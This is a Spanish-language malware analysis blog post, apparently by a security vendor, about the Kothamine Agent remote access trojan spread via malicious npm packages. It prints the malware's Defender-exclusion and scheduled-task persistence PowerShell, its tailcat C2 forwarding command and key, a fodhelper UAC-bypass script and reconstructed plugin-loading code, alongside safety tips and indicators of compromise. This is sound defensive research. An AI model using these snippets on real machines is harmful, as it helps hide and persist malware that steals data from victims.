Descubrimos un troyano de acceso remoto (RAT) no documentado llamado Kothamine Agent . Admite más de 30 comandos y permite a los atacantes controlar un equipo infectado. Windows Computadora: pueden ejecutar comandos, leer y modificar archivos, y añadir nuevas funcionalidades. Algunas versiones también pueden robar datos del navegador y grabar a través de la cámara y el micrófono.
Hemos detectado que Kothamine está vinculado a paquetes npm maliciosos, lo que podría poner en riesgo a usuarios y desarrolladores que instalen dichos paquetes. En versiones recientes, el malware utiliza tailcat , una herramienta de código abierto de Tailscale, para recibir comandos a través de una conexión cifrada. Esto dificulta la inspección de sus comunicaciones y no ofrece a los defensores un dominio de comando y control (C2) convencional que bloquear.
Según las cargas de VirusTotal y las confirmaciones de GitHub, Kothamine parece haber estado en desarrollo o distribución desde al menos julio. Las versiones anteriores utilizaban Tailscale. VPN en lugar de tailcat. Dependiendo de la compilación, el malware incluye las herramientas de red o las descarga de fuentes como GitHub.
Cómo mantenerse a salvo
Antes de instalar un paquete npm desconocido, revise su repositorio, sus responsables, sus dependencias y sus versiones recientes. Busque informes de actividad maliciosa y priorice los paquetes con un historial comprobado y mantenimiento regular.
- Comprueba el nombre con atención. Asegúrate de no descargar un paquete falso con un nombre similar.
- Verifica la información del desarrollador o la organización y asegúrate de que el editor parezca legítimo. Comprueba, por ejemplo, si tiene un sitio web o un repositorio en GitHub.
- Lee algunas reseñas, problemas e informes. Busca el nombre del paquete en Google y comprueba si hay informes sobre posible malware detectado.
- Fíjate en su popularidad. Un paquete con muchas descargas y usuarios suele ser más fácil de verificar que un paquete nuevo con prácticamente ningún historial.
Análisis técnico
Kothamine y los paquetes npm maliciosos
Kothamine está escrito en C y C++. En la mayoría de las muestras analizadas, consta de un inyector y una DLL que contiene el agente. El agente admite más de 30 comandos, lo que permite al operador controlar el sistema infectado y cargar DLL adicionales para ampliar sus capacidades.

Kothamine Agent ha sufrido algunos cambios con el tiempo. Las versiones anteriores que encontramos en VirusTotal utilizaban Tailscale. VPN En lugar de tailcat, las cadenas no estaban cifradas. Algunas funciones, como la omisión del Control de cuentas de usuario (UAC) y los comandos de robo, solo se detectaron en ciertas compilaciones.
En algunas versiones, Kothamine descargaba los archivos de Tailscale desde el sitio web oficial de Tailscale o un repositorio de GitHub en lugar de incluirlos en el agente.
El mismo repositorio de GitHub se cita en un aviso sobre un paquete npm malicioso llamado dotnet-runtime-base. Descarga del paquete npm-sc-legit.exe de ese repositorio. Al momento de escribir esto, otros dos paquetes publicados por el mismo desarrollador habían sido eliminados.

Los autores detrás de estas campañas cometieron un error y publicaron instrucciones para compilar kothamine-stub-cpp en uno de los paquetes. La guía también trata sobre la carga de ensamblados .NET, algo que no observamos en las muestras que analizamos.

El npm-sc-legit.exe El ejecutable es una versión compilada de Kothamine que también contiene comandos para robar datos. No encontramos un panel o constructor para Kothamine, pero las características presentes en las distintas compilaciones sugieren que los operadores pueden habilitar funciones y comandos específicos según sea necesario.

El siguiente análisis se centra en una muestra reciente del Agente Kothamine que utiliza tailcat para la comunicación C2.
Cómo funciona el agente Kothamine
En las versiones analizadas, un ejecutable denominado internamente Kothamine Injector inyecta la DLL del agente Kothamine, normalmente en explorer.exeTambién hacemos referencia a versiones anteriores para mostrar cómo ha cambiado el agente.
1. Inyector de kothamine
El inyector de kothamine realiza las siguientes operaciones:
- Agrega Windows Exclusiones de Defender mediante PowerShell
- Se copia a sí mismo
%ROAMING%\MicrosoftEdgeUpdateCore.exe - Extrae la DLL del agente a
%ROAMING%\MicrosoftEdgeUpdateCore.dll - Crea
up.ps1en%TEMP%para la persistencia - Inyecta la DLL del agente en
explorer.exeusandoOpenProcess,VirtualAllocEx,WriteProcessMemory,CreateRemoteThread, yLoadLibraryA

explorer.exe El up.ps1 El script crea una tarea programada para lograr la persistencia utilizando el ejecutable Injector:
$A=New-ScheduledTaskAction -Execute 'C:\Users\{USER}\AppData\Roaming\MicrosoftEdgeUpdateCore.exe'
$T=New-ScheduledTaskTrigger -AtLogOn Register-ScheduledTask 'MicrosoftEdgeUpdateTask' -Action $A -Trigger $T -RunLevel Limited -Force
2. Agente Kothamine
Inicio de agente
El agente crea un mutex llamado Local\KothamineAgentInstance y comienza su hilo principal.
Luego ejecuta comandos de PowerShell para agregar el ejecutable y la DLL a la Windows Lista de exclusión de defensores:
powershell -NoP -NonI -W Hidden -Exec Bypass -Command "
Add-MpPreference -ExclusionPath 'C:\Users\{USER}\Desktop' -ErrorAction SilentlyContinue;
Add-MpPreference -ExclusionPath 'C:\Users\{USER}\AppData\Roaming\MicrosoftEdgeUpdateCore.exe' -ErrorAction SilentlyContinue;
Add-MpPreference -ExclusionPath 'C:\Users\{USER}\AppData\Roaming\MicrosoftEdgeUpdateCore.dll' -ErrorAction SilentlyContinue;
Add-MpPreference -ExclusionProcess '{PROCESS_NAME}.exe' -ErrorAction SilentlyContinue;
Add-MpPreference -ExclusionProcess 'MicrosoftEdgeUpdateCore.exe' -ErrorAction SilentlyContinue; Add-MpPreference -ExclusionProcess 'MicrosoftEdgeUpdateCore.dll' -ErrorAction SilentlyContinue"
En versiones anteriores, las cadenas de texto no estaban cifradas. Las versiones recientes descifran las cadenas directamente o mediante funciones que utilizan la operación XOR con una clave diferente para cada cadena.


Comunicación C2 mediante tailcat
La característica distintiva de Kothamine no es la complejidad técnica, la funcionalidad del agente ni la ofuscación, sino su uso de tailcat y Tailscale. VPN para recibir comandos que ejecutar. Esto proporciona al agente un canal de comunicación encriptado y resistente.
Tailcat es un proyecto de código abierto reciente, desarrollado por el equipo de Tailscale. Tailcat utiliza el plano de datos de Tailscale (WireGuard, NAT traversal y DERP), pero sin su plano de control. Según la documentación oficial, esto significa que Tailcat no tiene direcciones IP, cuentas, administradores, usuarios, controles administrativos ni gobernanza. Estas características lo convierten, por lo tanto, en una herramienta atractiva para el desarrollo de malware.
A diferencia de Tailscale VPN Tailcat no requiere cuenta ni registro de dispositivo. Sus desarrolladores lo diseñaron para conexiones de corta duración.
Dado que no existen cuentas, el acceso se basa en la posesión de una dirección tailcat y las claves públicas utilizadas para identificar los dispositivos de conexión. Esto no garantiza una conexión completamente anónima: los servidores de retransmisión alojados pueden conservar registros de metadatos.
El tc-address Al pasar el indicador de reenvío, el cliente obtiene la información necesaria para enrutar correctamente la solicitud. Además, tailcat no requiere acceso privilegiado a la máquina, ya que utiliza la herramienta de línea de comandos y las bibliotecas del espacio de usuario.
En versiones recientes de Kothamine, el agente extrae tailcat de sus recursos y lo guarda como %ROAMING%\TailscalePortable\tailcat.exe.

El ejecutable tailcat se inicia con el CreateProcessA función y los siguientes parámetros (denominados internamente como spawn_tailcat_forward fase):
"C:\Users\{USER}\AppData\Roaming\TailscalePortable\tailcat.exe" forward tc…. 18080:4444
Este comando hace que los puertos del servidor tailcat estén disponibles como puertos TCP locales estándar (18080 en este caso) y las solicitudes se reenvían al puerto 4444 del nodo del operador. Kothamine utiliza funciones de socket para conectarse a 127.0.0.1:18080, donde tailcat está escuchando.
Si la cadena de ID del agente no está vacía, el agente envía una solicitud de perfil cifrada que contiene la siguiente información (run_c2_loop fase):
{"name":"base_<rand()>","os":"Windows","ip":"0.0.0.0","auth_token":"af27..,"type":"base"}
Después, el agente entra en un bucle infinito para recibir comandos que ejecutar desde el C2 (run_c2_loop fase). El agente espera a que se ejecuten nuevos comandos utilizando el select La función de socket envía periódicamente mensajes KEEP-ALIVE si no se recibe un comando.
Los mensajes intercambiados con el C2 se cifran y descifran utilizando AES-GCM (aes_encrypt fase).
La clave AES de 32 bytes se decodifica en base64 a partir de la cadena (c2_key fase):
mrowPsW2P5kzFGCNWeKAd+kYpo8Yy5c2pzaOSRuzisU=
Comandos compatibles
En esta versión, el agente Kothamine admite 30 comandos. relacionado con:
- Interacción con los procesos
- Interacción con archivos y directorios
- Ejecutar comandos de shell
- Ampliar la capacidad del agente en función de las DLL recibidas.
| Nombre del comando | Descripción |
sysinfo/systeminfo, curpid | Devuelve información del sistema, como PID, ruta actual, nombre de host y sistema operativo (codificado). |
tasklist, kill | Devuelve los procesos obtenidos mediante “ tasklist /FO CSV /NH ”. Finaliza el proceso especificado por el PID mediante “ taskkill /F /PID ”. |
ping | Tras comprobar la retransmisión en directo, “Pong” regresa a C2. |
ipconfig | Ejecuta el comando “ ipconfig /all ” y devuelve el resultado. |
exec, shell_exec | Ejecuta comandos de shell con _popen() y envía la salida de vuelta. |
mkdir, rmdir, cp, mv, cd, ls, dir, pwd | Interactúa con archivos y carpetas del sistema. |
writefile_start, writefile_chunk, writefile_end, writefile, readfile, createfile, delfile, download | Lee, escribe y elimina archivos arbitrarios. |
load_feature | Escribe y carga una DLL codificada en base64 recibida. La DLL se carga mediante LoadLibraryA y se ejecuta el método “ GetFeatureApi ”, resuelto a través de GetProcAddress . Guarda los punteros de función necesarios para ejecutar la función. |
exec_feature, features, list_features, unload_feature | Interactúa con las funciones cargadas para visualizarlas, ejecutarlas o eliminarlas. |
Dado que los demás comandos son comunes a los otros agentes, el análisis se centra en el sistema de "plugins" que permite al operador recibir DLL y ampliar la funcionalidad del agente.
Sistema de complementos
Para cargar una nueva DLL, el operador utiliza el comando:
load_feature <name> <B64EncodedDLL>
A grandes rasgos, el proceso funciona de la siguiente manera. El código y los nombres de las variables que aparecen a continuación se han reconstruido a partir de los registros de uso y de salida.
- En primer lugar, el agente comprueba si la funcionalidad ya se ha cargado y, en caso afirmativo, la descarga:
if (g_features.find(name) != g_features.end()) {
send_text("[!] " + name + " already loaded, unloading first");
unload_feature(name);
}
- Intenta crear la DLL recibida en una ubicación obtenida a través de
GetTempPathoSHGetFolderPathAo en la ruta codificadaC:\Windows\Temp. Escribe la DLL decodificada y la carga conLoadLibraryA.
- Resuelve y ejecuta el
GetFeatureApimétodo de la DLL cargada:
pGFA = GetProcAddress(hModDLL, "GetFeatureApi");
if (!pGFA) {
send_text("[!] GetProcAddress(GetFeatureApi) failed, lastError= …");
FreeLibrary(hMod);
return 0;
}
api = pGFA();
No encontramos una DLL que nos permitiera analizar completamente la estructura devuelta por GetFeatureApiSin embargo, al analizar el código y las cadenas, identificamos estos campos:
/* Function used for C2 callback */
typedef void (*FeatureSendCb)(void *data, int len);
struct FeatureApi {
char *version;
char *name;
void (*init)(FeatureSendCb send);
void (*exec)(char *args, FeatureSendCb send);
void (*cleanup)(void);
};
Los punteros a la DLL cargada y a la estructura devuelta se guardan en la variable global. variable llamada internamente g_features, utilizando esta estructura:
struct LoadedFeature {
void *hModule; /* Loaded DLL */
struct FeatureApi *api; /* Pointer returned by GetFeatureApi() */
};
- Ejecuta el
initfunción contenida en la estructura devuelta, pasándole la función utilizada para la comunicación C2:
send_text("[!] calling init...");
api->init(*feature_send_callback);
send_text("[!] init done");
Una vez cargada la función, el operador puede ejecutarla mediante el comando:
exec_feature <functionName> [args]

exec funciónDiferentes construcciones de Kothamine: Escama de cola VPN Comandos para eludir el UAC y robar comandos
Como ya se mencionó anteriormente, detectamos versiones de Kothamine con diferentes capacidades.
Las versiones anteriores utilizaban la escala de cola. VPN antes de que se lanzara tailcat. Descargaron y ejecutaron el instalador desde el sitio web de Tailscale con el /quiet y /silent banderas, o descargó los archivos necesarios directamente de GitHub. Estos incluían tailscaled.exe, tailscale.exe, tailscale-ipn.exe, y wintun.dll.

Algunas versiones eluden el Control de cuentas de usuario (UAC) mediante fodhelper.exe correr elevated.ps1En el ejemplo siguiente, el script de PowerShell inicia Tailscale. VPN conexión:
$tsdir='C:\Users\{USER}\AppData\Roaming\TailscalePortable'
$ts='""'+$tsdir+'\\tailscale.exe""'
$tsd='""'+$tsdir+'\\tailscaled.exe""'
Start-Process -WindowStyle Hidden -FilePath $tsd -WorkingDirectory $tsdir
$connected=$false
for ($i=0; $i -lt 45; $i++) {
Start-Sleep 2
try { &$ts up --unattended=true --auth-key='tskey-auth-…' 2>&1 | Out-Null } catch {}
$ip=(&$ts ip 2>&1 | Out-String)
if ($ip -match '100\.') { $connected=$true; break }
}
El agente se conecta entonces al puerto 4444 en una dirección IP de red de Tailscale (100.x.x.x) y comienza a recibir y ejecutar comandos.

fodhelper.exeFinalmente, como mencionamos anteriormente, diferentes compilaciones de Kothamine admiten otros comandos. Por ejemplo, la versión subida a GitHub incluye comandos adicionales, entre ellos: getdiscord, getsessions, screenshot, screenshare, y cameraEstas permiten a los operadores:
- Robar cookies de varios navegadores
- Robar archivos JSON relacionados con videojuegos, incluidos archivos asociados con Steam y Minecraft.
- Toma capturas de pantalla y graba a través de la cámara y el micrófono.
- Acceder al contenido del portapapeles
Indicadores de compromiso
Hashes SHA-256
ec4219a7ecf132c29080fbb20e4ab410c57faa85aeed7acade1eb15d905a6ee0: Análisis del inyector de kothamine en el blog74eca3973ad72a6ddc9397aff8250d9ee287211fc9a055d5ee290d01cf76a70c: El agente Kothamine fue analizado en el blog.
URLs
https://github[.]com/cphc811-ui/Repositorio utilizado para descargar ejecutables y DLLs asociados con Tailscale. VPN
Expresiones de gratitud
Aviso de Mondoo sobre el paquete npm analizado .
Navega como si nadie te estuviera mirando.
Malwarebytes Privacy VPN Encripta tu conexión y nunca registra lo que haces, así que la próxima historia que leas no tiene por qué ser personal. Pruébalo gratis →




